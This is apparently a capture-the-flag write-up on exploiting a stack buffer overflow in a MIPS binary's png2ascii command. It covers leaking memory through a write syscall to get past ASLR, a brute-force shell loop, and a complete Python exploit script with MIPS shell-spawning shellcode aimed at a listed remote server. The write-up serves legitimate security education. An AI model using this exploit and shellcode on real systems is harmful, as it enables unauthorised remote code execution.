Unlike most binary exploitation challenges, we had to work on an unusual processor architecture:

> file pwn100-mv6bd73ca07e54cbb28a3568723bdc6c9a
pwn100-mv6bd73ca07e54cbb28a3568723bdc6c9a: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, for GNU/Linux 2.4.18, stripped

Debian provides virtual machine images of their distribution for MIPS-I CPUs, which we were able to use with qemu in order to run the binary. It serves a simple shell with the following commands available:

qotd
ls
png2ascii
help
exit
quit

When we used the ls command we could see the key file. The goal of this challenge was obviously to get it back. But the vulnerability was in another command: png2ascii (sub_00401BC4). This functions reserves a buffer of size 0x100 on the stack but reads 0x200 from it, stopping at the first '\n' byte encountered. We can use this to overwrite the return address stored on the stack and control the execution flow.

.text:00400918                 lw      $ra, 0x2C($sp)
.text:0040091C                 lw      $fp, 0x28($sp)
.text:00400920                 jr      $ra
.text:00400924                 addiu   $sp, 0x30

The problem we encountered next was bypassing ASLR, which made the address of our stack buffer random. We tried to find gadgets in the binary in order to return to our buffer address but no register pointed to our buffer and no pointer to the buffer was present at a useful location in the stack. Luckily, the server uses fork() to serve each connection, which means each connection will use the same base stack address. We don’t know where our buffer is but if we can find it once we know it will always be there until a server reboot.

We decided to leak informations about our memory map by using a write syscall present in the binary and returning to it. It loads arguments from the stack so we can control these as well, and the file descriptor we need to write the data on is already loaded with the right value.

.text:00411498                 lw      $a1, 0x30+var_2C($sp)
.text:0041149C                 lw      $a2, 0x30+var_28($sp)
.text:004114A0                 lw      $a3, 0x30+var_24($sp)
.text:004114A4                 li      $v0, 0x1052
.text:004114A8                 syscall 0

Using a crafted stack we were able to bruteforce the pointer passed to the write syscall and test whether data is written or not. If some data is written we know that we are in a valid memory range.

> for i in $(seq 0 255); do echo "- - - - - -"; printf "%02x\n" $i; python2 pwn100.py 40$(printf "%02x" $i)0000 1000 | hexdump -C; done | tee out
...
000004e0  0a 4f 52 20 41 20 4d 4f  55 54 48 2e 20 42 45 20  |.OR A MOUTH. BE |
000004f0  47 4f 4f 44 20 41 54 20  53 43 48 4f 4f 4c 20 54  |GOOD AT SCHOOL T|
00000500  4f 44 41 59 2e 20 4c 4f  56 45 2c 20 4d 4f 4d 2e  |ODAY. LOVE, MOM.|
00000510  20 20 20 20 20 20 20 20  20 20 20 20 20 20 20 20  |                |
00000520  20 0a 0a 41 41 41 41 41  41 41 41 41 41 41 41 41  | ..AAAAAAAAAAAAA|
00000530  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
*
000005b0  41 41 41 51 51 51 51 98  14 41 00 04 00 00 00 f0  |AAAQQQQ..A......|
000005c0  c6 8c 7f 00 10 00 00 00  00 00 00 70 0a 01 10 ff  |...........p....|
000005d0  ff ff ff d0 c7 8c 7f f8  17 99 00 09 00 00 00 ff  |................|
000005e0  ff ff ff b8 c7 8c 7f cc  12 40 00 04 00 00 00 d0  |.........@......|
000005f0  c7 8c 7f 00 01 00 00 0a  00 00 00 70 0a 01 10 ff  |...........p....|
00000600  ff ff ff 70 6e 67 32 61  73 63 69 69 00 ff ff ff  |...png2ascii....|
00000610  ff ff ff 00 00 00 00 00  00 00 00 ff ff ff ff ff  |................|
...

Using this trick we were able to find our buffer filled with “A” characters, so we knew exactly where to jump to. We just needed a valid MIPS shellcode to execute a shell on the remote server. Using this website we were able to do this very quickly. After testing it on the remote server we noticed that simply running dup2 and execve was not enough because the server had a hard file descriptor limit. We bypassed it by using setrlimit before execve, giving us this final exploit script:

import socket
import struct
import sys

shellcode = \
        "\xeb\x0f\x02\x24\x05\x00\x04\x24\xc0\xff\xa5\x27" + \
        "\x64\x00\x0f\x24\xc0\xff\xaf\xaf\xc4\xff\xaf\xaf" + \
        "\x0c\x01\x01\x01\x04\x00\x04\x24\x02\x00\x05\x24" + \
        "\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff\xff\xa5\x20" + \
        "\xff\xff\x0f\x24\xfb\xff\xaf\x14\x00\x00\x00\x00" + \
        "\x69\x6e\x0f\x3c\x2f\x62\xef\x35\xf4\xff\xaf\xaf" + \
        "\x68\x00\x0e\x3c\x2f\x73\xce\x35\xf8\xff\xae\xaf" + \
        "\xfc\xff\xa0\xaf\xf4\xff\xa4\x27\xfc\xff\xa5\x27" + \
        "\xfc\xff\xa6\x27\xab\x0f\x02\x24\x0c\x01\x01\x01" + \
        "\x00\x00\x00\x00"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#s.connect(("140.197.217.85", 1994))    # remote server
s.connect(("192.168.103.61", 1994))     # local test

print s.recv(1024)
print s.recv(1024)

cmd = "png2ascii\n"

s.send(cmd)

print s.recv(1024)

raw_input() # usefull for attach gdb

stack = int(sys.argv[1], 16)
size = int(sys.argv[2], 16)

# EIP control
payload = shellcode + "A" * (256 - len(shellcode))

#payload += "Q" * 4 + struct.pack("<I", 0x411498) # Addr write syscall

#payload += "Q" * 4 + struct.pack("<I", 0x7f8cc680) # Addr Buffer local

payload += "Q" * 4 + struct.pack("<I", 0x407ffe80) # Addr Buffer remote

payload += "\x04\x00\x00\x00" # Socket fd
# Parameters for sycall write
payload += struct.pack("<I", stack)
payload += struct.pack("<I", size)
payload += struct.pack("<I", 0)

s.send(payload + "\n")
sys.stdout.write(s.recv(65536))
sys.stdout.write(s.recv(65536))

We read the key file using the remote shell and were able to validate the challenge. This was a fun challenge, it’s not common to exploit non-x86 architectures.